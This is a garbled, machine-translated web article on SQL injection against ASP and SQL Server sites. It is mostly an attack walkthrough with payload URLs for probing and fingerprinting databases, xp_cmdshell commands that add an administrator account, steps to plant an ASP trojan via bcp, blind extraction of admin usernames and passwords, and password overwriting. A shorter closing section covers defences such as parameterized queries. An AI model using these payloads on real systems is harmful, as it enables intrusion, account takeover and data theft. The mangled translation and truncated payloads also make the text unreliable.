SQL injection

Source: Internet
Author: User

Tags: ADDM Web page ADO NIS International Automation Admin CAB Deployment

Author: eng308 published on 2010-02-03 18:25 original link

SQL injection attack is one of the common means for hackers to attack the database. With the development of B/s pattern application development, more and more programmers use this model to write applications. However, due to the varying levels and experience of programmers, a large number of programmers write code without judging the legality of user input data, which makes the application a security risk. The user can submit a database query code, according to the results returned by the program, to obtain some of the data he wants to know, this is called SQL injection, that is, SQL injection. SQL injection is accessed from the normal WWW port, and the surface seems to be no different from the general Web page access, so the current firewall in the market does not alert SQL injection, if the administrator does not view the IIS log habits, may be invaded for a long time will not be detected. However, the method of SQL injection is quite flexible, and when injected, it encounters many unexpected situations and requires the construction of clever SQL statements to successfully obtain the desired data.

  The general idea of SQL injection attack

• Find SQL injection locations;

• Determine the background database type;

• Determine xp_cmdshell availability

• Discovering Web virtual directories

• Upload ASP Trojan;

• Gain administrator privileges;

  Steps for SQL injection attacks

First, the SQL Injection vulnerability judgment

Generally speaking, SQL injection usually exists in the form of an ASP Dynamic Web page with parameters such as HTTP://xxx.xxx.xxx/abc.asp?id=XX, sometimes there may be only one parameter in a Dynamic Web page, sometimes there may be n parameters, sometimes integer parameters, sometimes string parameters , not generalize. In short, if it is a dynamic Web page with parameters and this page accesses the database, there is a possibility of SQL injection. If the ASP programmer does not have security awareness and does not perform the necessary character filtering, there is a large likelihood of SQL injection.

In order to fully understand the Dynamic Web page answer information, preferred to adjust the configuration of IE. Put IE menu-tool-internet Option-advanced-Show friendly HTTP error message before the tick is removed.

In order to clarify the problem, the following is an example of HTTP://xxx.xxx.xxx/abc.asp?p=YY analysis, yy may be an integer, or it may be a string.

1, the parameters of the whole type of judgment

When the input parameter yy is an integral type, the SQL statement in abc.asp usually looks like this:

SELECT * from table name where field =yy, so you can use the following steps to test whether SQL injection exists.

①http://xxx.xxx.xxx/abc.asp?p=yy ' (append a single quotation mark), at this time ABC. The SQL statement in ASP becomes a

SELECT * from table name where Field =yy ', abc.asp run exception;

②http://xxx.xxx.xxx/abc.asp?p=yy and 1=1, abc.asp run normally, and the result is the same as the HTTP://xxx.xxx.xxx/abc.asp?p=YY operation;

③http://xxx.xxx.xxx/abc.asp?p=yy and 1=2, abc.asp run abnormally;

If the above three steps are fully satisfied, there must be a SQL injection vulnerability in abc.asp.

2. The judgment of the string type parameter

When the input parameter yy is a string, the SQL statement in abc.asp usually looks like this:

SELECT * from table name where field = ' YY ', so you can use the following steps to test whether SQL injection exists.

①http://xxx.xxx.xxx/abc.asp?p=yy ' (append a single quotation mark), at this time ABC. The SQL statement in ASP becomes a

SELECT * from table name where Field =yy ', abc.asp run exception;

②http://xxx.xxx.xxx/abc.asp?p=yy&nb ... 39;1 ' = ' 1 ', abc.asp run normally, and the result is the same as the HTTP://xxx.xxx.xxx/abc.asp?p=YY operation;

③http://xxx.xxx.xxx/abc.asp?p=yy&nb ... 39;1 ' = ' 2 ', abc.asp runs abnormally;

If the above three steps are fully satisfied, there must be a SQL injection vulnerability in abc.asp.

3. Handling of special cases

Sometimes an ASP programmer can filter out characters such as single quotes in a programmer to prevent SQL injection. Here are a few ways to try this.

①: Because VBS is not case-sensitive, programmers often filter either all uppercase strings or all lowercase strings, while mixed-case mixes tend to be overlooked. such as using Select instead of Select,select;

②unicode: In IIS, internationalization is done in the Unicode character set, and we can enter the strings entered in IE into Unicode strings. such as + =%2b, space =%20, etc. urlencode information see annex I;

③ascii code method: can be input part or all of the characters are replaced with ASCII code, such as U=CHR, A=CHR (97), etc., ASCII information see annex II;

II. Analysis of database server types

In general, access and Sql-server are the most common database servers, although they all support the T-SQL standard, but there are differences, and different databases have different methods of attack and must be treated differently.

1, using the database server system variables to differentiate

Sql-server has system variables such as User,db_name (), which can be used to determine not only sql-server but also a lot of useful information. Such as:

①http://xxx.xxx.xxx/abc.asp?p=yy and user>0 can not only determine whether it is sql-server, but also get the user name that is currently connected to the database

②http://xxx.xxx.xxx/abc.asp?p=yy&n db_name () >0 can not only determine whether it is sql-server, but also get the name of the database currently in use;

2. Using the system table

The system table for access is msysobjects and does not have access under the Web environment, while the sql-server system table is sysobjects and has access under the Web environment. For the following two statements:

①http://xxx.xxx.xxx/abc.asp?p=yy and (select COUNT (*) from sysobjects) >0

②http://xxx.xxx.xxx/abc.asp?p=yy and (select COUNT (*) from msysobjects) >0

If the database is Sql-serve, then the first one, abc.asp must be running normally, the second is an exception; if access is two, it will be abnormal.

3. MSSQL three key system tables

sysdatabases system table: Each database on Microsoft SQL Server occupies a row in the table. When you initially install SQL Server, sysdatabases contains entries for the master, model, msdb, mssqlweb, and tempdb databases. The table is stored only in the master database. This table is saved in the master database, what information is stored in this table? This is very important. He saved all the library names, as well as the library ID and some related information.

Here I will list the names of the fields that are useful to us and the relevant instructions. Name//Indicates the names of the libraries.

dbid//indicates that the id,dbid of the library is system from 1 to 5. These are the five libraries: master, model, msdb, mssqlweb, tempdb. All library names can be queried using SELECT * from Master.dbo.sysdatabases.

Each database in Sysobjects:sql-server has this system table, which holds all objects created within the database, such as constraints, default values, logs, rules, stored procedures, and so on, with each object occupying one row in the table.

syscolumns: Each column in each table and view occupies a row in the table, and each parameter in the stored procedure also occupies a row in the table. The table is located in each database. The main fields are:

Name, ID, colid: Is the field name, the table ID number, and the field ID number, where the ID is the ID number of the table we got with sysobjects.

With: SELECT * from ChouYFD.dbo.syscolumns where id=123456789 gets chouyfd the ID of the table is the list of all the fields in 123456789.

Iii. determination of the availability of xp_cmdshell

If the account currently connected to the data has SA permissions, and the Master.dbo.xp_cmdshell extended stored procedure (which calls the stored procedure can be directly used by the operating system shell) can be executed correctly, the entire computer can be fully controlled by the following methods, all future steps can be saved

1, HTTP://XXX.XXX.XXX/ABC.ASP?P=YY&NB ... er>0 Abc.asp performs an exception but can get the user name of the current connection database (if the dbo is displayed represents SA).

2, HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me () >0 Abc.asp performs an exception but can get the database name of the current connection.

3. HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec Master. xp_cmdshell "NET user aaa Bbb/add"--(master is the primary database of Sql-server; The semicolon in the name indicates the name of the statement sql-server before the semicolon is executed, continuing with the statement after it; "-" is an annotation, Indicates that everything behind it is only a comment, the system does not execute) can directly increase the operating system account AAA, the password is BBB.

4. HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec Master. xp_cmdshell "net localgroup Administrators Aaa/add"-adds the newly added account AAA to the Administrators group.

5. HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database name to disk= ' C:\inetpub\wwwroot\save.db ' will back up all the obtained data to the Web directory. Then use HTTP to download this file (of course preferred to know the Web virtual directory).

6. Create Unicode vulnerability by copying CMD

HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe dbo.xp_cmdshell "Copy c:\winnt\system32\cmd.exe C:\inetpub\scripts\cmd.exe" Creates a Unicode vulnerability that, through the exploitation of this vulnerability, completes the control of the entire computer (preferably a Web virtual directory, of course).

Iv. Discovering Web virtual directories

Only the Web virtual directory can be found to determine the location of the ASP Trojan, and then get user permissions. Two methods are more effective.

One is based on experience to guess, in general, Web virtual directory is: C:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot, and executable virtual directory is: c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts and so on.

The second is to traverse the system directory structure, analyze the results and discover the Web virtual directory;

Create a temporary table first: Temp

HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n MP (ID nvarchar (255), Num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255));--

Next:

(1) Use Xp_availablemedia to obtain all current drives and deposit them in the temp table:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--

We can get a list of drives and related information by querying the contents of temp.

(2) Use Xp_subdirs to get a list of subdirectories and deposit them in the temp table:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into Temp (i... dbo.xp_subdirs ' C: \ ';--

(3) Use Xp_dirtree to get the directory tree structure of all subdirectories and into the temp table:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp (ID,NUM1) EXEC master.dbo.xp_dirtree ' C: \ ';--

Attention:

1. After each browsing, you should delete all content in temp, and delete the method:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--

2. The method of browsing the temp table is: (assuming TestDB is the database name of the current connection)

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp; TESTDB.DBO.TEMP) >0 Gets the value of the first record ID field in table temp and compares it to an integer, obviously abc.asp work exception, but in the exception you can find the value of the ID field. Assuming that the table name found is XYZ, the

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ID from ... ere ID not in (' xyz ')) >0 gets the value of the second Record ID field in table temp.

V. Upload ASP Trojan

The so-called ASP Trojan, is a special function of the ASP code, and put into the Web virtual directory under the scripts, remote customers through IE can execute it, and then get the user rights of the system, to achieve the initial control of the system. There are two more effective ways to upload ASP Trojan:

1, the use of web remote management functions

Many web sites, for the convenience of maintenance, provide remote management capabilities, there are many Web sites, the content is different users have different access rights. In order to achieve the control of user rights, there is a Web page, requiring user name and password, only entered the correct value, in order to proceed to the next step, you can achieve the management of the web, such as uploading, downloading files, directory browsing, modification configuration.

Therefore, to obtain the correct user name and password, not only can upload ASP trojan, and sometimes even can directly get user permission to browse the system, the previous step of the "Discovery Web virtual directory" of the complex operation can be omitted.

The user name and password are usually stored in a single table, and finding the table and reading the contents of it solves the problem. Two effective methods are given below.

A, injection method:

Theoretically, the Certification Web page will have the type such as:

SELECT * from admin where username= ' XXX ' and password= ' YYY ' statements, if the necessary character filtering is not performed before this sentence is formally run, SQL injection is easy to implement.

As in the User Name text box, enter: ABC ' or 1=1--in the Password box input: 123 The SQL statement becomes:

SELECT * from admin where username= ' abc ' or 1=1 and password= ' 123 ' regardless of user input any user name and password, this statement will always be executed correctly, the user easily fooled the system, to obtain legal status.

B, guess the solution:

The basic idea is to guess the names of all the databases, guess each table name in the library, analyze the name of the table that holds the user name and password, guess each field name in the table, and guess the contents of each record in the table.

Guess all database names

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select COUNT (*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 because The value for dbid is from 1 to 5, which is used by the system. So the user built it must have started from 6. And we submitted the name>1 (the Name field is a character type field and the number of errors will be error), abc.asp work exception, you can get the first database name, the same dbid respectively changed to 7,8,9,10,11,12 ... All database names can be obtained.

The following assumptions give the database name TestDB.

To guess the name of the user name table in the database

Guess solution: This method is based on individual experience to guess the name of the table, generally speaking, user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser, Systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts and so on. and judge by the statement

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select COUNT (*) from testdb.dbo. Table name) >0 If the table name exists, abc.asp works fine, otherwise it is abnormal. So loop until you guess the name of the System Account table.

Read method: Sql-server has a table sysobjects that holds the core information of the system, all the tables, views, etc. of a library are all stored in this table, and this table can be accessed through the web.

When the xtype= ' U ' and status>0 represent a table created by the user, and the tables and names created by each user are found and analyzed, the name of the user name table can be obtained, and the basic implementation method is:

①http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 name from TestD ... type= ' U ' and status>0) >0 get the first user to create a table name and enter Row comparisons, it is obvious that abc.asp is working abnormally, but the name of the table can be found in the exception. Assuming that the table name found is XYZ, the

②http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 name from testdb.dbo.sysobjects& ... tatus>0 and name not in (' XY Z ')) >0 can get the name of the table created by the second user, and the same name can be obtained for all tables created.

According to the name of the table, it is generally possible to determine that the table user holds the user name and password, the following assumes that this table is named Admin.

L GUESS the user Name field and Password fields name

Admin table must have a user name field, there must be a password fields, only to get the names of the two fields, it is possible to get the contents of the two fields. How to get their names, there are also the following two ways.

Guess solution: This method is based on individual experience to guess the field name, in general, the name of the user name fields commonly used: Username,name,user,account and so on. The name of the password field is commonly used: PASSWORD,PASS,PWD,PASSWD and so on. and judge by the statement

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count (field name) from TestDB.dbo.admin) >0 the "Select count (field name) from table name" statement to get the number of rows in the table, So if the field name exists, then abc.asp works fine, otherwise it is abnormal. So loop until you guess the names of the two fields.

Read method: The basic implementation method is

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (Select ... Me (object_id (' admin '), 1) from TestDB.dbo.sysobjects) >0. Select top 1 col_name (object_id (' admin '), 1) from TestDB.dbo.sysobjects is the first field name to get a known table name from sysobjects, and when compared to an integer, it is obvious that the abc.asp is working abnormally, but the name of the field can be found in the exception. The Col_name (object_id (' admin '), 1) of 1 in turn replaced by 2,3,4,5,6 ... You can get all the field names.

L Guess user name and password

The most common and effective way to guess the contents of a user name and password is:

ASCII code verbatim decoding method: Although this method is slower, it is certainly feasible. The basic idea is to guess the length of the field first, then guess the value of each bit in turn. Guess the user name and the way to guess the password, the following to guess the user name as an example to illustrate its process.

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select Top&n ... nbsp;from TestDB.dbo.admin) =x (x=1,2,3,4,5, ... n, Username is the name of the user name field, admin is the name of the table), if x is a value I and abc.asp is running normally, then I is the length of the first user name. such as: when the input

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select Top ... e) from TestDB.dbo.admin) = 8 o'clock abc.asp Normal, the length of the first user name is 8

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ASCII (substring (username,m,1)) from TestDB.dbo.admin) =n ( The value of M is between 1 and the user name length obtained in the previous step, when m=1,2,3, ... Guesses separately,... The value of n is the ASCII value of 1~9, A~z, a~z, or any value between 1~128, and admin is the name of the System user Account table, and if n is a value I and abc.asp is running normally, then I corresponds to the ASCII code is the user name a certain value. such as: when the input

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ASCII (substring (username,3,1)) from TestDB.dbo.admin) = 80 o'clock abc.asp is functioning normally, the third digit of the user name is P (ASCII of P is 80);

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ASCII (substring (username,9,1)) from TestDB.dbo.admin) = 33 O'Clock Abc.asp is running normally, the 9th bit of user name is! (! ASCII is 80);

Once you have guessed your first username and password, you can guess all the other usernames and passwords. Note: Sometimes the resulting password may be encrypted by MD5, etc., and it needs to be de-keyed with special tools. or change their password first, after use, and then change back, see the following instructions.

Simple method: Guess user name with

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1), flag is a field in the admin table, username is the user name segment, At this time abc.asp work abnormally, but can get username value. With the same method, you can get a second user name, a third user, and so on until all the user names in the table.

Guess user password: HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select Top 1&NB ... B.dbo.admin where pwd>1), flag is a field in the admin table, and PWD is a password field, at which time abc.asp works abnormally, but can get the value of PWD. With the same method, you can get the password for the second user name, the password for the third user, and so on, until the password for all the users in the table. Passwords are sometimes encrypted by MD5 and can be changed by password.

HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd= ' ... where username= ' www ';--( 1 The MD5 value is: Aaabbbcccdddeeef, that is, change the password to 1;www for the known user name)

In the same way, you can change the password to the original value.

2, using the table content to document the function

SQL has a bcp command that enables the contents of a table to be translated into a text file and placed in a specified location. With this feature, we can build a temporary table, and then enter an ASP Trojan in a row in the table, and then export the ASP file with the bcp command.

The command line format is as follows:

BCP "SELECT * from Text". Foo "queryout c:\inetpub\wwwroot\runcommand.asp–c–s localhost–u sa–p foobar (' S ' parameter is the server that executes the query, the ' U ' parameter is the user name, the ' P ' parameter is the password, Finally uploaded a runcommand.asp trojan)

Six, get the system administrator rights

ASP trojan only user permissions, to obtain full control of the system, but also to have the system administrator rights. What to do? There are many ways to elevate permissions:

Upload Trojan, modify the boot automatically run. ini file (It restarts, it is dead);

Replicate CMD.exe to scripts and artificially create Unicode vulnerabilities;

Download the Sam file, hack and get all user name passwords for the OS;

And so on, depending on the specific situation of the system, different methods can be taken.

Seven, several sql-server special means

1. Modify the registry with Xp_regread extended stored procedures

[Xp_regread] Another useful built-in stored procedure is a collection of functions for the Xp_regxxxx class (Xp_regaddmultistring,xp_regdeletekey,xp_regdeletevalue,xp_ Regenumkeys,xp_regenumvalues,xp_regread,xp_regremovemultistring,xp_regwrite). Attackers can use these functions to modify the registry, such as Reading Sam values, allowing an empty connection to be established, running the program automatically, and so on. Such as:

EXEC xp_regread HKEY_LOCAL_MACHINE, ' system\currentcontrolset\services\lanmanserver\parameters ', ' NullSessionShares ' determines what session connections are available on the server.

EXEC xp_regenumvalues HKEY_LOCAL_MACHINE, ' System\currentcontrolset\services\snmp\parameters\validcommunities ' Displays all SNMP community configurations on the server, and with this information, an attacker may reconfigure network devices on the same network.

2. Use other stored procedures to change the server

The Xp_servicecontrol process allows the user to start and stop the service. Such as:

(EXEC master: Xp_servicecontrol ' start ', ' schedule '

EXEC master. Xp_servicecontrol ' start ', ' Server ')

Xp_availablemedia display of useful drives on the machine

Xp_dirtree allows you to get a directory tree

XP_ENUMDSN enumerating ODBC data sources on a server

Xp_loginconfig Getting server security information

Xp_makecab allows a user to create a compressed file on the server

Xp_ntsec_enumdomains enumerating the domains that the server can enter

Xp_terminate_process The process ID of the process to terminate this process

  Background of SQL injection attacks

In the rapid development of computer technology today, more and more people are facing more and more "abnormal" and sophisticated threat website technology, they use the Internet to perform various malicious activities, such as identity theft, private information theft, bandwidth resource consumption. After they dive in, they also proliferate and update themselves constantly. These activities often take advantage of the user's curiosity, the user does not know or future permission to sneak into the user's PC, unknowingly, the account of the funds have been transferred, the company's message was sent out, the harm is very serious. On August 16, 2006, the first web threat sample appeared, and as of October 25, 2006, a 150th variant was produced, and it continued to evolve.

The target of a website threat is a number of dimensions, whether it is an individual or a company, or an industry, which has its own consideration, and even the country, region, gender, race, religion, etc. also become the cause or motive of the attack. Attacks can also take many forms, even complex forms, such as viruses, worms, trojans, spyware, zombies, phishing emails, exploits, downloads, social engineering, rootkits, and hackers, resulting in compromised user information or the denial and hijacking of services required by users. From its source, web threats can also be classified into both internal and external attacks. The former is mainly from the trust network, the user may have performed unauthorized access or inadvertently customized malicious attacks, the latter mainly because the network vulnerability is exploited or users are targeted by malicious program-specific attacks.

  Network analysis of SQL injection attack

SQL injection attacks are a very annoying security vulnerability and are all web developers, no matter what the platform, technology, or data layer, need to be sure they understand and prevent things. Unfortunately, developers tend not to spend a bit of time concentrating on this, even their applications, and, worse, their customers are extremely vulnerable to attack.

Michael Sutton recently published a very thought-provoking post on how pervasive this problem is on the public web. He built a C # client program with Google's search API to look for sites that were vulnerable to SQL injection attacks. The steps are simple:

1. Look for sites with query strings (for example, querying URLs with "id=" in the URL)

2, send a request to these sites identified as dynamic, change the id= statement in it, and take an extra single quote to try to cancel the SQL statement in it (for example, id=6 ')

3, parse the returned reply, in which to look for words like "SQL" and "query", which often indicates that the application returned a detailed error message (which in itself is very bad)

4, check whether the error message indicates that the parameter sent to the SQL Server is not correctly encoded, and if so, it can be a SQL injection attack on the site

For a random sampling of 1000 sites found through Google search, he detected that 11.3% of those were susceptible to SQL injection attacks. It's very, very scary. This means that hackers can remotely exploit the data in those apps, get any password or credit card data that is not hashed or encrypted, or even log in to these apps as an administrator. This is not only bad for developers who develop Web sites, but also worse for consumers or users who use the site because they provide data to the site and think that the site is secure.

So what exactly is a SQL injection attack?

There are several scenarios in which SQL injection attacks can be made. The most common reason is that you dynamically construct SQL statements without using the correct code (encoded) parameters. For example, consider the encoding of this SQL query, whose purpose is to query the author (Authors) based on the social security number provided by the query string (Social Security numbers):

Dim SSN as String

Dim SQLQuery as String

SSN = request.querystring ("ssn")

SQLQuery = "Select au_lname, au_fname from authors WHERE au_id = '" + SSN + "'"

If you have the same SQL code as the one above, your entire database and application can be hacked off remotely. How could it be? In the ordinary case, the user will use a social security number to access the site, the code is executed like this:

' URL to the page containing the above code

http://mysite.com/listauthordetails.aspx?SSN=172-32-9999

' SQL Query executed against the database

SELECT au_lname, au_fname from authors WHERE au_id = ' 172-32-9999 '

This is what the developer expects, and the social Security number is the way to query the author's information in the database. But because the parameter values are not being correctly overweight, hackers can easily modify the value of the query string to embed additional SQL statements after the value to be executed. Such as

' URL to the page containing the above code

http://mysite.com/listauthordetails.aspx?SSN=172-32-9999 ';D ROP DATABASE pubs--

' SQL Query executed against the database

SELECT au_lname, au_fname from authors WHERE au_id = ';D rop DATABASE pubs--

Note that you can add "';D ROP DATABASE pubs--" After the SSN query string value, by ";" Character to terminate the current SQL statement, add its own malicious SQL statement, and then comment out the rest of the statement with a "--" string. Because the code is manually constructed in the SQL statement, and finally passed the string to the database, the database will first query the authors table, and then delete our pubs database. "Bang (Bang)" A sound, the database is gone!

In case you think the results of an anonymous hacker deleting your database are bad, but unfortunately, in fact, this is better in the context of the SQL injection attack. A hacker can not simply destroy the data, but use the weaknesses of the above code, execute a join statement, to get all the data in your database, displayed on the page, allow them to obtain the user name, password, credit card number and so on. They can also add Update/insert statements to change the price of the product, add a new admin account, and really screw you (screw up your life). Imagine checking your inventory by the end of the month and finding that the actual number of products in your warehouse is different from the number reported by your accounting system (accounting systems).

  How to prevent SQL injection attacks

SQL injection attacks are something you need to worry about, no matter what web programming technology you use, and all web frameworks need to worry about this. You need to follow a few very basic rules:

1) When constructing a dynamic SQL statement, be sure to use the class security (type-safe) parameter-overweight mechanism. Most of the data APIs, including ADO and escaped/encoded, have such support, allowing you to specify the exact type of parameters provided (for example, strings, integers, dates, etc.) to ensure that these parameters are properly used to prevent hackers from exploiting them. Be sure to use these features from start to finish.

For example, in ADO for dynamic SQL, you can rewrite the above statement as follows to make it safe:

Dim SSN as String = Request.QueryString ("SSN")

Dim cmd as New SqlCommand ("Select au_lname, au_fname from authors WHERE au_id = @au_id")

Dim param = new SqlParameter ("au_id", SqlDbType.VarChar)

Param. Value = SSN

Cmd. Parameters.Add (param)

This will prevent someone from trying to sneak into another SQL expression (because ADO knows that the string value of au_id is overweight) and avoids other data problems (such as incorrectly converting numeric types, etc.). Note that the VS 2005 built-in Tableadapter/dataset Designer automatically uses this mechanism, as are the ASP. NET 2.0 data source controls.

A common error perception (misperception) is that if you use a stored procedure or ORM, you are completely protected from SQL injection attacks. This is not true, and you still need to be sure that you are cautious when passing data to a stored procedure, or that you are doing it safely when you use ORM to customize a query.

2) always do a Security Review (review) before deploying your application. Establish a formal security process (formal) that reviews all the codes every time you do the update. The latter point is particularly important. Many times I hear that the development team will do a detailed security review before the going live, and then, after a few weeks or months, when they do minor updates, they will skip the security review, and say, "Just a little update, we'll do the code review later." Always keep the safety review in check.

3) never store sensitive data in plaintext in the database. My personal opinion is that passwords should always be stored after one-way (one-way) hashed, and I don't even like to store them after encryption. By default, the ASP. 2.0 Membership API automatically does this for you and also implements a secure salt randomization behavior (salt randomization behavior). If you decide to build your own database of members, I suggest you look at the source code of our own membership provider published here. It also determines that the credit card and other private data in your database are encrypted. This way, even if your database is compromised (compromised), at least your client's private data will not be exploited by anyone.

4) Confirm that you have written automated unit tests to specifically verify that your data access layer and applications are not subject to SQL injection attacks. Doing so is very important to help catch (catch) "is a small update, all without security issues" in the case of negligence, to provide an additional layer of security to avoid accidental introduction of bad security flaws into your application.

5) Lock your database securely, giving only the minimum permissions required to access the Web App functionality of the database. If the web app does not need to access some tables, verify that it does not have permission to access the tables. If the web app only needs read-only permissions from your account Payables table to generate the report, then confirm that you prohibit it from Insert/update/delete permissions on this table.

6) Many novice download SQL Universal Anti-injection system program, in need to prevent the injection of the page head to protect others to do manual injection test (.

However, it is easy to skip the anti-injection system and automatically analyze its injection points if you are using SQL Injection Analyzer. Then it only takes a few minutes for your administrator account and password to be analyzed.

7) for the Prevention of Injection analyzer, the author through the experiment, found a simple and effective way to prevent. First, we need to know how SQL Injection Analyzer works. During the operation, the discovery software is not directed to the "admin" Administrator account, but to the authority (such as flag=1) to go. This way, no matter how your administrator account changes, you will not be able to evade detection.

The third step: since the detection can not escape, then we do two accounts, one is a normal administrator account, one is to prevent the injection of accounts, why so say? I think, if you find a permission to create the largest account of the false, attract software detection, and the content of this account is greater than the Chinese characters in more than thousand characters, it will force the software to analyze this account when the full load state or even the depletion of resources and the crash. Now let's change the database.

1. Modify the table structure. Change the data type of the administrator's account field to the Maximum field 255 (actually enough, if you want to make it bigger, you can choose the memo type), the password field is also set.

2. Make changes to the table. Set administrator privileges on the account ID1, and enter a large number of Chinese characters (preferably greater than 100 words).

3. Place the real administrator password in any location after ID2 (for example, on ID549).

Because SQL injection attacks are designed to be less tightly programmed during application development, this attack is "legitimate" for most firewalls. The solution to the problem depends on perfect programming. There are fewer tools dedicated to SQL injection attacks, and Wpoison is helpful for development with asp,php ....

SQL injection

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

Tags Index: